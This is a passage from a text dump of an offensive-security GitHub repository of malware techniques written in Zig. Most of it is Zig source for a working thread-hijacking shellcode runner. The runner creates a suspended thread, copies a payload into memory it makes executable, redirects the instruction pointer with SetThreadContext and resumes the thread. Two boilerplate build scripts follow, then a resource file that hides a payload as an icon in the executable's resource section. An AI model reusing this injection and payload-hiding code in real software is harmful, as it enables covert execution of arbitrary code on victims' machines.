lpParameter; // Suppress unused parameter warning // Stupid code const seed = @as(u32, @intCast(std.time.timestamp())); var prng = std.Random.DefaultPrng.init(seed); const j = prng.random().int(i32); const i = j *% j; // Use wrapping multiplication to avoid overflow _ = i; // Suppress unused variable warning return 0; } // Thread hijacking function fn runViaClassicThreadHijacking(hThread: HANDLE, pPayload: []const u8) bool { var pAddress: ?*anyopaque = null; var dwOldProtection: DWORD = 0; // .ContextFlags can be CONTEXT_CONTROL or CONTEXT_ALL as well var ThreadCtx = std.mem.zeroes(CONTEXT); ThreadCtx.ContextFlags = CONTEXT_CONTROL; // NOTE: // In Zig, there's no implicit initialization like C, so we need // to manually set all other fields to be 0. While in C, the uninitialized // fields will be automatically set to 0. // // NOTE: // Reference C99 Standard 6.7.8.21: // If there are fewer initializers in a brace-enclosed list than there are // elements or members of an aggregate, or fewer characters in a string // literal used to initialize an array of known size than there are elements // in the array, the remainder of the aggregate shall be initialized implicitly // the same as objects that have static storage duration. // // NOTE: So the ThreadCtx above is equals to this: // var ThreadCtx = CONTEXT{ // .ContextFlags = CONTEXT_CONTROL, // .P1Home = 0, // .P2Home = 0, // .P3Home = 0, // .P4Home = 0, // .P5Home = 0, // .P6Home = 0, // .MxCsr = 0, // .SegCs = 0, // .SegDs = 0, // .SegEs = 0, // .SegFs = 0, // .SegGs = 0, // .SegSs = 0, // .EFlags = 0, // .Dr0 = 0, // .Dr1 = 0, // .Dr2 = 0, // .Dr3 = 0, // .Dr6 = 0, // .Dr7 = 0, // .Rax = 0, // .Rcx = 0, // .Rdx = 0, // .Rbx = 0, // .Rsp = 0, // .Rbp = 0, // .Rsi = 0, // .Rdi = 0, // .R8 = 0, // .R9 = 0, // .R10 = 0, // .R11 = 0, // .R12 = 0, // .R13 = 0, // .R14 = 0, // .R15 = 0, // .Rip = 0, // .FltSave = std.mem.zeroes([512]u8), // .VectorRegister = std.mem.zeroes([26][16]u8), // .VectorControl = 0, // .DebugControl = 0, // .LastBranchToRip = 0, // .LastBranchFromRip = 0, // .LastExceptionToRip = 0, // .LastExceptionFromRip = 0, // }; // Allocating memory for the payload const payload_size_dword: DWORD = @intCast(pPayload.len); // This is for adapting Win API param size pAddress = VirtualAlloc(null, payload_size_dword, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pAddress == null) { print("[!] VirtualAlloc Failed With Error : {d}\n", .{GetLastError()}); return false; } // Copying the payload to the allocated memory const dest = @as([*]u8, @ptrCast(pAddress.?))[0..pPayload.len]; @memcpy(dest, pPayload); // Changing the memory protection if (VirtualProtect(pAddress.?, payload_size_dword, PAGE_EXECUTE_READWRITE, &dwOldProtection) == 0) { print("[!] VirtualProtect Failed With Error : {d}\n", .{GetLastError()}); return false; } // Getting the original thread context if (GetThreadContext(hThread, &ThreadCtx) == 0) { print("[!] GetThreadContext Failed With Error : {d}\n", .{GetLastError()}); return false; } // Updating the next instruction pointer to be equal to the payload's address ThreadCtx.Rip = @intFromPtr(pAddress.?); // in case of a x64 payload injection : we change the value of `Rip` // in case of a x32 payload injection : we change the value of `Eip` // Setting the new updated thread context if (SetThreadContext(hThread, &ThreadCtx) == 0) { print("[!] SetThreadContext Failed With Error : {d}\n", .{GetLastError()}); return false; } return true; } // Wait for user input (equivalent to getchar()) fn waitForEnter() void { var buffer: [256]u8 = undefined; _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {}; } // Main function (equivalent to C main) pub fn main() !void { var hThread: ?HANDLE = null; var dwThreadId: DWORD = 0; // Creating sacrificial thread in suspended state // // NOTE: // We can also use SuspendThread to suspend a thread. // To lean more: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread hThread = CreateThread(null, 0, &DummyFunction, null, CREATE_SUSPENDED, &dwThreadId); if (hThread == null) { print("[!] CreateThread Failed With Error : {d}\n", .{GetLastError()}); return; } print("[i] Hijacking Thread Of Id : {d}\n", .{dwThreadId}); // Hijacking the sacrificial thread created if (!runViaClassicThreadHijacking(hThread.?, &calc_payload)) { _ = CloseHandle(hThread.?); return; } print("[+] DONE\n", .{}); print("[#] Press <Enter> To Run The Payload ...", .{}); waitForEnter(); // Resuming suspended thread, so that it runs our shellcode _ = ResumeThread(hThread.?); // Wait for the thread to complete _ = WaitForSingleObject(hThread.?, INFINITE); print("[#] Press <Enter> To Quit...", .{}); waitForEnter(); // Cleanup _ = CloseHandle(hThread.?); } ``` ## /src/Malware-Techniques/Thread-Hijacking/local_thread_creation/build.zig ```zig path="/src/Malware-Techniques/Thread-Hijacking/local_thread_creation/build.zig" const std = @import("std"); // Although this function looks imperative, note that its job is to // declaratively construct a build graph that will be executed by an external // runner. pub fn build(b: *std.Build) void { // Standard target options allows the person running `zig build` to choose // what target to build for. Here we do not override the defaults, which // means any target is allowed, and the default is native. Other options // for restricting supported target set are available. const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); // Standard optimization options allow the person running `zig build` to select // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // set a preferred release mode, allowing the user to decide how to optimize. const optimize = b.standardOptimizeOption(.{}); // We will also create a module for our other entry point, 'main.zig'. const exe_mod = b.createModule(.{ // `root_source_file` is the Zig "entry point" of the module. If a module // only contains e.g. external object files, you can make this `null`. // In this case the main source file is merely a path, however, in more // complicated build scripts, this could be a generated file. .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); // This creates another `std.Build.Step.Compile`, but this one builds an executable // rather than a static library. const exe = b.addExecutable(.{ .name = "local_thread_creation", .root_module = exe_mod, }); // This declares intent for the executable to be installed into the // standard location when the user invokes the "install" step (the default // step when running `zig build`). b.installArtifact(exe); // This *creates* a Run step in the build graph, to be executed when another // step is evaluated that depends on it. The next line below will establish // such a dependency. const run_cmd = b.addRunArtifact(exe); // By making the run step depend on the install step, it will be run from the // installation directory rather than directly from within the cache directory. // This is not necessary, however, if the application depends on other installed // files, this ensures they will be present and in the expected location. run_cmd.step.dependOn(b.getInstallStep()); // This allows the user to pass arguments to the application in the build // command itself, like this: `zig build run -- arg1 arg2 etc` if (b.args) |args| { run_cmd.addArgs(args); } // This creates a build step. It will be visible in the `zig build --help` menu, // and can be selected like this: `zig build run` // This will evaluate the `run` step rather than the default, which is "install". const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_unit_tests = b.addTest(.{ .root_module = exe_mod, }); const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests); // Similar to creating the run step earlier, this exposes a `test` step to // the `zig build --help` menu, providing a way for the user to request // running the unit tests. const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_unit_tests.step); } ``` ## /src/Malware-Techniques/Thread-Hijacking/local_thread_enumeration/build.zig ```zig path="/src/Malware-Techniques/Thread-Hijacking/local_thread_enumeration/build.zig" const std = @import("std"); // Although this function looks imperative, note that its job is to // declaratively construct a build graph that will be executed by an external // runner. pub fn build(b: *std.Build) void { // Standard target options allows the person running `zig build` to choose // what target to build for. Here we do not override the defaults, which // means any target is allowed, and the default is native. Other options // for restricting supported target set are available. const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } }); // Standard optimization options allow the person running `zig build` to select // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not // set a preferred release mode, allowing the user to decide how to optimize. const optimize = b.standardOptimizeOption(.{}); // We will also create a module for our other entry point, 'main.zig'. const exe_mod = b.createModule(.{ // `root_source_file` is the Zig "entry point" of the module. If a module // only contains e.g. external object files, you can make this `null`. // In this case the main source file is merely a path, however, in more // complicated build scripts, this could be a generated file. .root_source_file = b.path("src/main.zig"), .target = target, .optimize = optimize, }); // This creates another `std.Build.Step.Compile`, but this one builds an executable // rather than a static library. const exe = b.addExecutable(.{ .name = "local_thread_enumeration", .root_module = exe_mod, }); // This declares intent for the executable to be installed into the // standard location when the user invokes the "install" step (the default // step when running `zig build`). b.installArtifact(exe); // This *creates* a Run step in the build graph, to be executed when another // step is evaluated that depends on it. The next line below will establish // such a dependency. const run_cmd = b.addRunArtifact(exe); // By making the run step depend on the install step, it will be run from the // installation directory rather than directly from within the cache directory. // This is not necessary, however, if the application depends on other installed // files, this ensures they will be present and in the expected location. run_cmd.step.dependOn(b.getInstallStep()); // This allows the user to pass arguments to the application in the build // command itself, like this: `zig build run -- arg1 arg2 etc` if (b.args) |args| { run_cmd.addArgs(args); } // This creates a build step. It will be visible in the `zig build --help` menu, // and can be selected like this: `zig build run` // This will evaluate the `run` step rather than the default, which is "install". const run_step = b.step("run", "Run the app"); run_step.dependOn(&run_cmd.step); const exe_unit_tests = b.addTest(.{ .root_module = exe_mod, }); const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests); // Similar to creating the run step earlier, this exposes a `test` step to // the `zig build --help` menu, providing a way for the user to request // running the unit tests. const test_step = b.step("test", "Run unit tests"); test_step.dependOn(&run_exe_unit_tests.step); } ``` ## /src/Payload-Placement/dot_rsrc_section/resource.rc ```rc path="/src/Payload-Placement/dot_rsrc_section/resource.rc" #define IDR_RCDATA1 101 IDR_RCDATA1 RCDATA "calc.ico" ``` ## /src/Payload-Placement/dot_rsrc_section/src/calc.ico Binary file available at https://raw.githubusercontent.com/CX330Blake/Black-Hat-Zig/refs/heads/main/src/Payload-Placement/dot_rsrc_section/src/calc.ico The content has been capped at 50000 tokens. The user could consider applying other filters to refine the result. The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.